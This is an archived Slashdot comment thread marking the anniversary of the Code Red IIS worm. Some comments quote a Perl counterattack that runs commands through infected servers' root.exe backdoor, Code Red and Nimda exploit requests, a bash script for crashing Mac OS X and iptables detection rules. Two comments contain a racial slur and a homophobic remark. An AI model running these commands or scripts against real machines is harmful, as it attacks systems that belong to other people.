Slashdot Mirror
Happy Birthday Code Red
totallygeek writes: "One year ago today (July 19, 2001), more than 359,000 computers were infected with the Code Red worm in less than 14 hours. At the peak of infection, more than 2,000 new machines were infected each minute. Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since. For the first time, systems running the Apache web server were getting requests for a document called "default.ida". Here we are a year later, and my web log shows an average of forty-two requests per day for default.ida over the last five days. To really appreciate the spread of this program, look at this animated image."
That animated gif is going to be /.'d before I get this posted.
I do security
Story 4 minutes old and image is /.ed.
It is the gift that just keeps on giving.
...that on the anniversary of an attack which paralyzed servers dead in their tracks, we hear the far-away screams of agony from the lone sysadmin of missingleftsocks.com as 100,000 slashdotters pillage his machine simultaneously.
Don't worry about Code Red and related problems. I'm sure Microsoft will fix everything before they start storing our National ID information.
In Capitalist America, bank robs you!
One year anniversary was last week some time. We had been running DeepSight (nee ARIS) in a test mode at the time, and actually detected some test runs of Code Red about a week before the big outbreak.
Folks will notice though that the fixed version of Code Red I (CodeRed.B) is still going. Picked up a couple of hits today.
>i dont appreciate gay viruses
Well, in that case, do you prefer viruses that are straight or sad?
If you could be told what you can see or read, then it follows that you could be told what to say or think - BoC
It's been a year since the most devastating virus spread across the internet like wildfire - and to this day, Microsoft still insists that such things are the fault of the user, not the software.
My server is still getting hit by code red infected
servers on the avarage of every 5min. It would seem
that after all of this time people would clean up their servers. What really bothers me is some of the machines hitting me are commercial web sits verses the home machines.
Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since
Granted, the 'Net was a lot smaller, but what about the Morris worm?
General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
It really was good pizza...and it was quite a bit of fun riding skateboards around the corporate HQ at 2:30am in the morning...
Seriously, though, it also taught the company I work for a serious lesson about staying on top of this kind of stuff. We had just finished a 2 month project to secure our web servers, but we were still bound by our traditional change management processes - 7 days notification for an outage, and testing of all changes documented and submitted for approval in advance. At the time Code Red hit, I had sent a note saying "we've really got to get this hotfix applied", but we were bound by the process, and we got burned.
Needless to say, when an urgent hotfix comes out now, it takes almost no convincing to get it applied ASAP. If it breaks a web app or two, well, that's the risk we take. We'd rather look for signoff from the business to unapply a hotfix that breaks something, than spend a few days trying to secure the approval beforehand. It's a lot cheaper in the long run to troubleshoot the effects of a hotfix that has unintended side effects than it is to watch your entire web farm get demolished by a worm.
Yes, we run IIS, and I suppose you could harp about how this could all be avoided by running Apache, but the point is that without a policy, strategy, and process for rapidly deploying defenses against net-born attacks, no system is invulnerable.
trollio trollio go back to ur homio.
this is just nostalgia, a good reminder of what piss poor security can do to the internet.
from the original analysis by David Moore:
.FLI) .mov {requires QuickTime v3 or newer} )
UK Mirror
UK FTP
AU Mirror
Flipbook animation (207k
Quicktime animation of growth by geographic breakdown (200K
original www.caida.org gif animation
HIV Crosses Species Barrier... into Muppets
What exactly are we supposed to celebrate? The inept SAs that have failed to patch their systems? The sad lack of software development skills and abundance of corporate greed that combine to push shoddy software upon millions of users?
Maybe we should celebrate the resiliency of the Net. The fact that while attacks on systems continue to come daily, and at a seemingly increasing rate, everything still works most of the time.
--knowledge, not information, is power
You you have a liscense for that GIF?
"All art is quite useless." -- Oscar Wilde
It's amazing how Microsoft on their IIS website can make an inferior product look so nice, friendly, usable and safe - when there is a free alternative that lacks the slick advertising but that is a much superior product, especially in security.
Linux is a safe haven. It's like that story from church about building your house on the rocks rather than the sand, so that when the tide rises you will be safe. Or like people who built a bomb shelter. Or like those who painted their doors with lamb's blood so the angel of death would pass over their house and not kill the first-born son.
I am immortal! The tide of red sweeps daily over the internet and I didn't even get my shoes dirty!
Just a side note, if anyone ever came up with a virus that was as devastating to apache as code red was to IIS, I think Linux would be doomed. If you expect something to fail (Microsoft products) then you don't care too much when they do. But if a product is touted as being absolutely secure and stable (Linux/Apache) then when it does screw up big, it will probably be it's death. The higher up you are, the further you have to fall.
whoops.. credit where credit is due: Jeff Brown did the animation based on the paper (linked above) by David Moore.
HIV Crosses Species Barrier... into Muppets
The fact that Code Red is still running around the way it is proves for a fact that we, as human, are just lazy.
http://www.maximum-cars.com - My little hobbie.
Can someone set up a mirror or two before we loose it please??
-------
Drink Coffee - Do Stupid Things Faster And With More Energy!
From the official #python@OPN quotefile:
<skreech> I'm gonna miss code red when its gone, my webpage has never gotten this many hits before
I find it horribly absurd that Americans are still whining and crying over 9/11. Every time I turn on the television, its 9/11 this and 9/11 that. Its gotten to the point that even things that are completely worthless are somehow connected to 9/11. For example, someone told me that they will only shop at the cheaper non-brandname clothing stores because of 9/11. I asked them what 9/11 had to do with it and the response was a shrug. I hate the fact that people are running around like scared sheep. Everywhere I look, more "public security" is shown but in the end I don't think this will change anything. People have let there destroyed egos of yesteryear that chanted "America the strong and invincible" have made way for the public to curtail their freedoms for the desire of security. What they do not realize is that the freedoms we are given in this country aren't just for the good times but also for the bad times. I mean, an anology can be made that a 'friend in need is a friend indeed' because what matters more is not how much freedom (or in this case friends) we have, but how much freedom (or friends) we have when times are tough. People like Ashcroft should be taken out of office and charged with allowing the destruction of civil liberties. I'm sure its even worse for our fellow Americans who may happen to look like Middle Easterners or may be Muslim since the floodgates of racism and prejudice are wide open. First it was the Japanese and I'm pretty sure Muslims and anyone resembling a Middle-Easterner will be next to go through that.
I guess your post touched a nerve. Sorry for the rant, but come September 11th this year, I hope I don't see a story on Slashdot. What our country needs to do is look to ourselves and understand what we may be doing wrong in the world for people to hate us so much. Those interested in a history lesson can come back later when I feel like typing some more.
Long live a free and just America in a happy and just World.
DShield's Code Red Anniversary Page has an interesting graph showing scanning activity they've detected from active hosts since the beginning of this year. Some 35,000 IPs still continue to regularly come alive around the beginning of the month, quiet down towards the middle, and then resume the cycle again - the numbers have remained remarkably consistent.
And yet, just a few discussions down the /. front page, there's this massive collective rant, questioning the gov't's motive in releasing something that they claim is designed to help secure people's boxen. If the gov't software were just to stop code red and nimda from moving so fast, wouldn't that qualify as "public interest" enough for them to do that, just out of the goodness of their hearts?
Apologies for twisted grammar of preceding para. /me needs sleep, badly!
"The best argument against democracy is a five minute chat with the average voter."
--Winston Churchill
4,375,130 bytes long. :)
It's either really detailed or someone wanted to play a dirty trick on the admin.
I'm still downloading it, at about 1.5k/second.
Click here or here.
-Mode0x13
June 18, 2001 14:29:28 -0700
Microsoft Security Bulliten MS01-033
June 18, 2001 14:36:53
q300972_w2k_sp3_x86_en.exe
When did Code Red hit? Did I bother to notice? Did I bother to record? No. It didn't affect me much.
On my dial-up account I still get a average of 40 hits a day. So this consumes a greater percent of my overall bandwith, which keep me from downloading 40% more pr0n.
Is it slashdotted or is that the demonstration?
;)
Server is still infected with a IIS virus (though not Code Red). Here it is
I sent them an email - almost a year ago in fact. They just brushed me off and gave a rather pathetic excuse ("the box is too slow to run Norton").
You can read the e-mail here.
Of course, these are the same people who run a trouble ticket server on the district wide WAN that any old joe at school can access and see where the security issues are.
Don't you get it?
"Happy Birthday Code Red, Happy Birthday Code Red, Bill sucks with his coding, Happy Birthday Code Red."
Now blow out the flaming servers, and make a wish.
Insert something insightful here, or I'll insert something painful there.
Back when code red started causing havoc to IIS web servers, a group came out with a nice perl script that would shut down IIS, as well as the OS. Since IIS was wide open at this point, it would send ..
s re set+/stope xe?/c+rundl l32.exe+shell32.dll,SHExitWindowsEx+5
http://$ENV{REMOTE_ADDR}/scripts/root.exe?/c+ii
http://$ENV{REMOTE_ADDR}/scripts/root.
No mac web os9 or older servers EVER exploited in history despite several different large challlenges with 10,000 dollar prizes.
Bugtraq shoes no exploits of a mac server running a non unix OS and only WebStar webserver, or other webservers.
One time a combinations of two crappy third party tools created a minor exploit but no exploits exist in mac servers... NONE.
Is that not interesting?
The reasons are technical and have a lot to do with archetecture (stack return address, c string usage, no command line, special dual fork executables, lack of file extensions under user control, etc)
nobody likes to hear the truth, but the usarmy had enough of bsd abd linux and nt and used macs for some of its servers to prevent embarrassment.
No one ever notes that the CRW absolutely rape cisco dsl routers.
At its peak, Qwest had a 5 hour hold time for people who's cisco was taken down by the vuln.
Incidently, the fix was killed more routers.
forget it.
No one has ever hacked my super l33t webserver that runs on my Commodore 64!
Therefore, my webserver is superior than all others.
Corporate America mostly runs Windows 2000. That's the system that needs security and reliability most. And where's Microsoft?
Every time I read about something like this I imagine Nelson Muntz sneering, in his inimitable voice, "HAH ha!"
I guess the Government is going to fix what lazy naive sysadmins won't?
That's the first time I've seen someone getting smashed by the /. effect, and coming back asking for more!
"They do not preach that their god will rouse them, a little before the Nuts work loose." Kipling, 'The Sons of Martha'
[sarcasm]
Thank god we have IDS packages like ISS in place to keep systems safe.
[/sarcasm]
Is there a apache log analyser that shows nifty graphs of all the different kinds of attacks somewhere out there?
:)
That'd be cool
It says right on the image, caiga.org son ewframes-small-log.gif
http://www.jump.org.uk/caida_code_red_animations/
go there...
Of course, that is a 4.1 MB GIF file.
In Soviet Russia...michael would be rotting in Siberia!
Most people on /. probably wouldn't be affected, but it might have been a good idea to note that accessing that URL could actually INFECT your PC.
http://online.securityfocus.com/cgi-bin/sfonline/v ulns.pl?vendor=Apple
The worst terrorist attack in recorded history occurred back in September, followed by a Holy War against Islam, then India and Pakistan went to the brink of nuclear annilation, and now Israel and the Palestinians are teetering on the brink of their own war, and you people have the gall to be discussing the anniversary of the Code Red virus???? My *god*, people, GET SOME PRIORITIES!
The bodies of the thousands of innocent civilians who died (and will die) in these unprecedented events could give a good god damn about IIS virii, your childish Lego models, your nerf toy guns and whining about the lack of a "fun" workplace, your Everquest/Diablo/D&D fixation, the latest Cowboy Bebop rerun, or any of the other ways you are "getting on with your life" (here's a hint: watching Cowboy Bebop in your jammies and eating a bowl of Shreddies is *not* "getting on with your life"). The souls of the victims are watching in horror as you people squander your finite, precious time on this earth playing video games!
You people disgust me!
I do remember the crazy traffic generated by the problem. But that is a Weird graphic.
However, I am glad that it is a gif instead of a jpeg,because otherwise it might have contained a virus
- Life is what keeps you occupied while you are waiting to die
They will have a field day with it!
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
No, not with my tax dollars. Microsoft fucks up, microsoft pays; not me or the "public". If it's about public interest then hold microsoft responsible and let them make the fix or make them hire a 3rd party to do so. However using my tax dollars to fix an inept companies fuckup is not whats gonna happen.
What pisses me off is that when an early exploit was detected awhile back (err, many years), somebody released worm to go around and fix it but THEY where the ones who got in trouble with the FBI, thus setting a precident in the future saying that the computer community was not allowed to take all neccisary steps to fix problems that may pop up.
Kind of killed off community effort right there. >;(
Need help treating your acne? Come here!
Someone will let them know... hehehe.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
Who links to a 4 meg animated gif in a ./ article?
Oh thats right
TIMMY!
Funny, I knew it was him without even looking.
Why not write a program that watches for incoming Code Red/Nimda probes, turns around and roots the offending box, and takes it down leaving a message for the Sys Admin to straighten up his act?
Presumably the original hole could be used to root the box, but any of the umpteen security holes that followed could probably be used as well. Since they haven't patch for Code Red, they haven't patched for anything else either!
Sigh... It might not be legal, but it would be funny.
I could stick a cardboard box in my living room and claim that it's never been cracked...
Sure, no one has cracked a macintosh, but does a Mac really do anything anyway?
Is that not interesting?
Not really. The stability sucked. Who cares if there was never an exploit if it can't handle a reasonable load?
Ask youself why Apple never used OS 8 or 9 for their website. Because it sucked that's why! Before OS X they used AIX.
I'm actually in Missouri.
I sent it to TV instead: click2houston.com
I bcc'd you on the email.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
Kid, it's spelled "the." /end spelling nazi comment
Learn how to use it.
It doesn't mean much now, it's built for the future.
Good SysAdmin got to sleep a year ago because they were up on their IIS patches. Bad SysAdmins aren't exclusive to Windows, they work on all platforms regretfully.
We're having a party on Friday September the 13th brought to you by the Bassline Terrorists featuring the 4 Horsemen of the Apocalypse. The flyer is two bassbins burning... not to disrespect the people who died in a pretty bad incident, but for christs sake... move on.
.au we are SO FUCKING SICK of hearing about this shit. Get over it - you can't move on if you dwell in the past.
down here in my little corner of the
Does that mean, therefore, that anyone running Linux without the fix for the 1i0n (or however that's spelled) exploit, can sue Linus Torvald, Redhat, et al for damages? How about anyone running a Micro$oft OS that has an exploit taken advantage of with a worm, virus, etc, that was created on a Linux system with the sole purpose of damaging as many M$ OSs as possible?
If you get shot by someone and suffer horrendous injuries, do you sue every bullet proof vest manufacturer, or gun manufacturer because they didn't base their business model around you? Or do you sue (or at least lock up) the one who pointed the gun at you and pull the trigger? Do you go around your neighborhood, testing each doorknob to see if the house is locked, then rob and burn down each house that isn't? Is it the homeowner's fault for not locking the door, or you for entering in the first place?
If you want to hold anyone responsible, try the guy/s who code viruses and worms... Anyone with sufficient pathological incentive to wreak havoc and trash a computer system (or, basically, anything else) will do so...
Responsibility goes two ways, on one hand, those who have known for a substantial period of time that there was a problem that needed addressing, and those who take advantage of that problem... The net makes this all more obvious, at least to those of us with a smidgen of common sense...
Just because you can mod me down, doesn't mean you're right. Shoes for industry!
So, is it Sue, or Darlene? Moron.
You are talking apples and oranges. My gov't will not distribute cd's with a fix for Microsoft software. If it's in public interest my gov't will tell Microsoft it must distribute cd's with a fix for Microsoft software. Thats the way it will work, everything else you seapk of isn't relevant to this argument at all.
...why don't we realease a Code Blue? It can be a benevolent worn ( an oxymoron, I know ) which goes around to all the nice little *nix and BSD boxes all over the world, enter their systems, fix every known security exploit, then delete itself. No wouldn't that be a wonderful idea? ( *lay on the thick sarcaasm* =] )
And so we go, on with our lives
We know the truth, but prefer lies
Lies are simple, simple is bliss
Is this a precedent? Will we always mark the anniversary of *all* worms/viruses, or only those that affect Microsoft products? Or will we mark those exploits that affect lamer sysadmins that don't know enough to patch their own servers? How about all those Apache admins haven't upped to 1.3.26 and 2.0.39 yet?
/.-ed?
Yeah, wait, don't rush to mod me yet.... I know... the Apache exploits don't fill your precious logs with bogus requests....
Is this the requirement for a worm to be
-MW
Yeah, but who the fuck wants to write a worm to exploit .5% of webservers?
Please.... get overyourself... the kiddes shoot for the bellcurve, not an outdated and inadequate OS.
This was not an exhaustive search, nor a statistically significant sample group, and dynamic IP allocation muddled the results a bit, but it was enough to make me wonder. How many of the 'code red attacks' these days are really script kitties with unix boxes? My guess is they account for most of them.
Has anyone looked into this for more than the 15-20 minutes I put into it?
Build stuff. Stuff that walks, stuff that rolls, whatever.
I guess I should consider myself lucky.
Total/Unique
Nimda hits: 6213/134
CodeRed hits: 76/76
Damn annoying, though.
-- Will program for bandwidth
Well it's really like the Lamer Exterminator, if you got it, directly or indirectly, you probably deserved it... :o)
Xix.
"Everything is adjustable, provided you have the right tools"
This... is my bro.
CRAZY EARL the sysadmin lifts a dustcover to reveal a toasted server
This is his party. He's the guest of honor. Today... is his birthday.
Email Mother calls out from down the hall: "Happy Birthday, Code Red."
I will never forget this day. The day I came to IIS city and fought one million Code Red worms. I love the little Commie bastards, I really do. These enemy worms are as persistent as thick-headed CIOs.
These are great days we're living, bros! We are jolly caffeinated giants walking the earth, with Bawlz. These worms we wasted here today, contain the finest code we will ever see. After we start working with real servers again we're gonna miss not having any worms around worth killing!
(obligatory reference for those who've never seen Full Metal Jacket)
my web log shows an average of forty-two requests per day
That is indeed interesting, a short time ago when discussing Windows security in a danish newsgroup, I counted the entries in my log. I also had an average of forty-two requests per day.
This couldn't be a coincidence, could it?
Do you care about the security of your wireless mouse?
Try putting these handy tags around the deadline, and all will be revealed.
<sarcasm> </sarcasm>
Does that help?
The user chooses the software =)
Viva Unix! =)
We jokingly discussed an Evil Plan where I worked when CodeRed first came out.
One thing we discussed doing was getting a copy, disassembling it, and building a version that would install FreeBSD with Apache with Front Page Extensions and the Active Server Pages module over top of the Windows installation, with all of the web site content left more or less intact.
We figured that it would be pretty cool if we could make it so that people would not notice that their server had been "competitively upgraded" until the next scheduled reboot/update.
We thought that it would be even more likely to go a long time if we captured the console screen of the running server, and used it as the boot "splash screen" for the replacement OS...
Of course, as I said, doing this would be Evil, so we only discussed the possibility.
-- Terry
I also get this one on my Apache/Linux server more than Code Red requests:
/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+ dir" 404
"GET
If you get shot by someone and suffer horrendous injuries, do you sue every bullet proof vest manufacturer, or gun manufacturer because they didn't base their business model around you?
Believe it or not, a lot of people are trying just that, and frightenly having a fair amount of success.
The problem in the case of Code Red, and the worm of the week wreaking havoc with Microsoft products, is one of false representation, and perhaps outright fraud.
People keep getting told from Microsoft "Our servers are stable and secure, you don't need to don't need to worry." Then something happens, and Microsoft does nothing until someone has demonstrated in an amazingly public way that their stuff in indeed vunerable.
Once that happens they issue a fix. The fix usually seems to be some method of messing up the specific method used, so minor changes to the worm make it work again.
The Open Source world on the other hand is very quick to fix any bugs they know about and can that can be fixed. More than once some of the security groups were frustrated when Red Hat or some other Linux distro maker, after being informed of a problem, releasing not only the details but a fix long before they were ready.
Microsoft has actively tried to keep anyone from finding out through any legal means about any security problems with their products. The Linux community works hard to find and fix problems.
Microsoft products are a little like the Ford Pinto of the software world. The Pinto would blow up rather spectacularly if rear ended. Ford was sued and had to fix the problem.
Had Ford voulantarily recalled the Pinto earlier (and the evidence suggested that they knew of the problem before the first Pinto was ever sold), there would have been no casue to sue them. However they tried to cover up the problem, and repeatedly denied the existence of any problem.
Microsoft knows there are vast security holes in their products. They prefer to put them out and hope no one notices. When someone does notice, they deny there is a problem, and have pushed to get anyone who tries to find such problems arrested. They are, in effect, enganged in a cover up. This is what opens them up to being sued. There is rarely a good faith effort to fix any security hole before it becomes a problem.
Contrast that with the Linux world. There are occasionaly penetrations, but there is always an effort to find and fix such problems long before such things happen.
The other problem was that IIS and WPS are often installed and running without the person even knowing it. In fairness, most linux distros seem to install and set up Apache without permission too, but at least Apache has been pretty much immune to worms for the last few years. Should you hold everyone who installed win2k on a networked machine responsible because they failed to install security patches on a server they didn't even know they were running?
Microsoft acts very irresponsibly with their software, and there should be some accountability. I wouldn't sue them just over Code Red, but take the worm of the week hitting IIS, and the worm of the week hitting Outhouse, and Microsoft's complete indifference to fixing either, and we get a pattern of indifference which is prosecutable.
There is a civil war coming in the United States. Remember which side has most of the guns
Don't worry, I'm sure there must be guys at Microsoft working round the clock on Linux worms and virii...
Are you sure?
Which virus do they have?
I wouldn't worry about the FBI, etc.
It's not like it's a unique infection that no one has ever seen before.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
For people outside USA: Mountain Dew is Pepsi's wildly popular (especially among programmers) pop brand. The new cherry flavor is called Code Red. Does anyone really know whether the pop got its name from the worm?
q .h tml:
http://www.mountaindew.com/code_red/code_red_fa
> Why did Mountain Dew choose the name Code Red?
> Our consumers named Code Red. Consumers thought
> Code Red best captured the spirit of the new
> brand.
shut up!!! That is a myth and you know it!
/Local/Library/WebServer/CGI-Executables/test-cgi ./CGI-McPanic
#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with
# concurrent calls to a CGI-Script
#
# before use, do:
#
# chmod a+x
#
# then call
#
# bash
#
NUMPROC=32
i=0
while [ $i -le $NUMPROC ]
do
i=$[$i + 1]
ab -t 3600 http://localhost/cgi-bin/test-cgi &
done
ATTENTION: anyone have a copy of the slashdotted page? If so- email me the info and I will mirror it on a cluster of servers that can handle the /.'ed ness.
gshively@pivx.com
I share a birthday with an IIS worm! Seriously!
Do I get a cookie?
So Code Red is now part of the background noise of the Internet along with all the spams, klez mails, and other generally viral nuisances.
:-)
I wonder if this is the way it goes, kind of like low earth orbit aquiring space junk, or the universe gradually dying in entropy soup? We will just keep on accumulating noise due to things like this that never go away, until one day they are using nearly all the bandwidth of the Internet and the thing will be unusable. Just goes to show how bad monocultures are.
Then again, that might be like the prediction about Lonodn dissapearing under horse manure sometime in the 1930's.
[Reboot server in safe mode...]
"What in the Sam hell..."
Vaya con huevos, my darling.
Exactly. Even OpenBSD (Arguably the most secure by default installation OS, ever.) doesn't make stupid claims like that.
:P
Plus, the only reason you never hear about Mac web servers being smacked around is.. Who the hell uses a Mac for a webserver?
jeez, grow a cock
According to this article in InfoWorld, Linux cracks are getting just as bad as IIS stuff.
However, it doesn't mention any particular crack or even web server - it's pretty light on details really. Looks like FUD to me.
KangarooBox - We make IT simple!
... but testboxes or homeusers with an IIS installation on their win2k pro or win2k server OS they used. This is noticable by the fact that most attacks were and are originating from cable-internet connected boxes.
Most IIS admins who are responsible for webservers who run company websites did patch IIS long before the worm started or better: did like MS told them to do: disable all extensions not used on the box, like htr and ida. (Oh, and removed the examples)
Ok, some company-used webservers were exploited, but this number is not a majority by far.
Never underestimate the relief of true separation of Religion and State.
Hotfixes don't kill webapps. I develop webapplications (the n-tier stuff, VC++/VB/ASP/IIS/SQLServer etc) for over 5 years now and have applied a zillion or so hotfixes on IIS and NT / Win2k server to keep the systems up to date, but never ever have I encountered 1 single hotfix which killed a webapplication nor did I hear from collegues that hotfixes killed their webapplications. If the webapp is written solidly, by the guidelines MS has supplied, you can apply any hotfix, period.
When your developers are not that educated however, perhaps they use dirty tricks which will break when a hotfix is applied (allthough I doubt it, hotfixes mostly overwrite existing files without updating CLS_ID's etc, because these stay the same) and the app will die after the hotfix is applied: one reason to kick them out the door for some real professionals.
Never underestimate the relief of true separation of Religion and State.
Here's a mirror of the image.
http://razor.hemmet.chalmers.se/CodeRedSpreading.g if
Were do people get these dates from? At least do a little research. The first reference to CodeRed I could find was a post to the Incidents list at SecuirtyFocus.com on July 15th. The acutual data was captured a couple of days prior to the post if my memory serves me correctly (the poster is a good friend of mine and a coworker at the time).
www.sguil.net
The Analyst Console for NSM
Recommended gifts from admirers:
1) DIVX's of Hackers or The Net.
2) Natalie Portman... Enough said.
3) Port me to more platforms.
and finally.... a 2nd chance.
--
CodeRed, the lower user #. No relation to SirCam.
Why would you glorify this virus by even acknowledging it's anniversary?!!
"Herbivores eat well cause their food never, ever runs."
You should have seen it last year, one day we were receiving so many requests for non-existant files that out server was crawling, because our not found page was generated by some scripts. I simply wrote a Perl handler to handle it(roughly 60 secs) and that took care of it.
Quite humorous it was. And that we still get thousands of hits from infected machines is hilarious.
Heh, Internet worms... fun stuff.
Sticking feathers up your butt does not make you a chicken - Tyler Durden
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Oracle is the scumbag company that has offered this to the Feds for free.
What about that worm who nibbled away many millions of dollars from Elingson Oil's computer mainframe a couple of years back. They've never fixed that exploit.. I mean hell it was used before by those guys that Superman had to fight off. Then later after the Elingson Oil bit.. those guys at that big software firm Initek did it too.. then again that building burnt down so we can't prove it. WHERE's THE PATCH FOR THAT WORM!!!
Who makes you Sig?
One year later and still burning strong.
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 329 "-" "-"
212.175.39.77 - - [19/Jul/2002:08:01:49 -0500] "GET
Morons.
...would seem to be the norm down there. I remember a couple years back, I was tracking down a luser on IRC who was bouncing off open proxies all over the world. One of them was that machine, IIRC. I sent e-mail (futile, I know) to various SAs telling them what the problem was. The only reply I got back, besides the automated responses, was from someone at that domain. He proceeded to bitch me out, accusing me of spreading FUD -- because of something HIS machine allowed. But he did claim to have plugged the hole afterwards. :P
on.
I think calling it "cherry-flavored" is too generous. "Red-flavored" is much more to the point.
Such a worm is already out. Or don't you keep up with network security?
The problem, of course, is that it isn't making much headway right now.
Believe it or not, out of all the people in in the world running MS Outlook, fewer than 1% have ever pulled down security patches, see The Great MS Patch Nobody Uses.
Additionally, the Win2K/NT server guys are afraid to install security patches since they never are really how much of their server is going to break. Often times, Admins will patch the servers which touch the Internet but not the Internal servers for fear of breaking them. With Code Red, this was quite humorous because the outer servers were patched as soon as the Code Red patch was available, thinking this action would defend the realm against Code Red, but they forgot about the laptop users which brought Code Red in the back door via the local LAN.
But not to worry folks, once we get Palladium hardware in all our servers, this will not happen again right? In fact we won't even have to patch anymore, since everything will be secure and, only secure applications will be allowed to run.
Oh, wait, wouldn't IIS pass the palladium trusted application test?
Why yes it would...... and Code Red would join the list of "Trusted Secure Applications".!
Sorry, I have to smack Palladium everytime I get a chance.
It'd be nice if you read the title of your parent post before commenting. Here's a hint: No mac web os9 or older servers EVER exploited and another hint, this from your own post: # CGI-McPanic: script to crash MacOS X hmm.
...and it was quite a bit of fun riding skateboards around the corporate HQ at 2:30am in the morning...
As opposed to 2:30am in the afternoon?
Hey kids, there's only 5 days left 'til Yak Shaving Day!
Smallpox killed 300 million people in the 20th century, but a coordinated effort lead by the WHO effectively erradicated it.
Who will lead the effort to erradicate CODE RED?
Since it allows random code to be run on infected servers, it is technically trivial to stop it.
Who will lead the counterattack?
Just wipe out IIS and reboot should do it.
RL
That is all I hear.. How about everyone stfu? If u hate Microsoft so much don't freakin use it? Go create your own product and stop ur whinning!!
I know this. But a lot of government "security" is handled through microsoft products.
And if we ever did have a mark of the beast... er, Homeland Security ID, you can bet MS products would be running a lot of the system.
I was just trying to make a point in a somewhat quippy manner.
In Capitalist America, bank robs you!
From my memory I remember this is the straw that broke the camels back for many of the people and companies that I knew who had been running IIS in some form or another. We had always been a Unix shop -- but many of the 3rd party "server" products had been written using ISAPI -- and required IIS and or Windows to function...The companies that produced these products were flying high and raising the Microsoft sword of ignorance. This virus sent them all back into their holes. Some of them went back to the drawing board to port their products to a real OS and Web Server....The others are dead or close to death.
(+1 Funny) only if I laugh out loud.
Only thing I wish would have been done with this article, is that there should have been a link to removal tools for NT/2k. Remember, most Microsoft server "admins" (I use that term loosely) don't know what they're dealing with. Also, I know that the MS patch to fix that problem didn't work. For about 8 months I installed the patch to remove/repair my ONLY NT server about twice a week. It would stop the process and remove it, but the virus would just come back. The logs on my linux servers are what I went by to tell when my NT box had it....again. Anti-virus software doesn't even catch it half the time.
All I'm really saying is there should have been some information about removing it and so forth in the article. If we're gonna gripe about people not maintaining their servers, it behooves us to help them figure out how to do so.
In other news, an Anonymous Coward reports "There have been no reported incidents of any Commodore 64 webservers ever having been compromised! Oh, and my Honda Accord hasn't been compromised either..."
And if we ever did have a mark of the beast... er, Homeland Security ID, you can bet MS products would be running a lot of the system.
It might not be Microsoft. It might be Oracle. Why doesn't that make me feel any better?
Given one hour to live, the student replied: "I'd spend it with professor FP who can make an hour seem like a lifetime."
You stupid nigger, please kindly shut the fuck up and get back to work.
Folks, this is a PERFECT example of unintended consequences.
Any more questions on why people say computer law is jacked up?
OMG! Now the CATS are learning to program! How am I every going to compete with programmers that get paid in Meow mix?!
This isn't so much about the anniversary of an aggressive virus so much as it is a reminder that people remain impressionable, gullible and downright cluelness about the technology they use on a daily basis.
The same people with computers that end up ravaged by silly viruses attached to e-mail messages with subjects resembling "Virus Removal Tool" are the same people that wonder why they can't address e-mail to "www.yahoo.com" and so ask me to explain the difference between a web and e-mail address to them. Oh yeah, did I mention I do tech support for an ISP?
Worse yet, it's remarkable how people end up being repeatedly suckered by half-baked, ill-worded schemes to get you to open their 'refund.txt.bat' files.
The real weakest link here are the people -- after all, it's people that are responsible for creating and propagating viruses, but a close second for that ultimate prize goes to the method to all this madness: Microsoft Windows and its rotten offspring, Outlook Express. With ease of use comes ease of being deceived, which is all attributed to the same people who believe computers are toys -- the ignorant ones. That isn't to say everybody that uses Windows and Outlook Express are ignorant; I use Windows on a daily basis, never Outlook Express though. I set that aside in favour of no-frills e-mail through a sell account. There are an overrepresentation of stupid folks using Windows.
So with that reasoning, I suppose it would be more appropriate to wish the stupid folks a happy birthday.
- IP
here,
here,
and here.
I have since then been saving each nimda hit in a separate log and recently compiled a list of *ALL* unique nimda queries made to my web server which I use with home-grown cgi/shell scripts to make a series of requests back to the attackers ip addresses as they hit me, which attempt to place warning text files in various places on their system and pop alert messages.
So I also recently posted a follow-up article on nimda which points you to all the queries i have catalogged so far.
Note: if you *really* want some of the shell scripts i use to attempt to warn the attackers just request so in comments to my journal, tho they really are nasty hacks. I just may write a java app triggered by a servlet or cgi one of these days.
Extraordinary Vacations. Exceptional Prices
iptables -t filter -A INPUT -i ${INET_IFACE} -p tcp --dport http -j WEBVIRUS
The default entry in WEBVIRUS chain would be to jump to the INETIN chain (or ACCEPT if that is what you want) if no matches were found:
iptables -t filter -A WEBVIRUS -j INETIN
Then, if there was some way to have Apache call 'iptables' each time it detected a "virus" hit (this is the part I haven't figure out yet...)
iptables -t filter -I WEBVIRUS -i ${INET_IFACE} -s ${host} -j LOGNDROP
which would insert the offending IP as the first entry in the WEBVIRUS chain. (LOGNDROP is just a rate-limited logging chain). Now the infected machine is effectively black-holed, preventing any further requests from even reaching Apache or the log files.
The tricky part is getting something like the following to work in Apache so it can call 'iptables' to add the offending IP:
RewriteRule ^(/(scripts|msadc|MSADC|./winnt)|.*(default\.ida|[ NX]{30}|c\+dir)) /cgi-bin/webvirus.pl [L,T=a
pplication/x-httpd-cgi]
Anybody have any ideas or seen any solutions that have integrated web-virus detection with iptables filtering?
This script will run "route delete 0.0.0.0" when someone infected with Code Red tries to infect your machine
click for scripty
I have been using this for six months with much success.
http://www.caida.org/analysis/security/code-red/co deredv2_analysis.xml#animations
e wframes-small-log.mov
and the mov version.
http://www.caida.org/analysis/security/code-red/n
Why should Slashdot publicly celebrate the "accomplishment" of a few childish crackers?
There are plenty of hard working people out there.
Please stop giving undue credit to useless idiots who waste our oxygen supplies.
The biggest reason (IHMO) why Code Red spread so rampantly was not because:
;-)
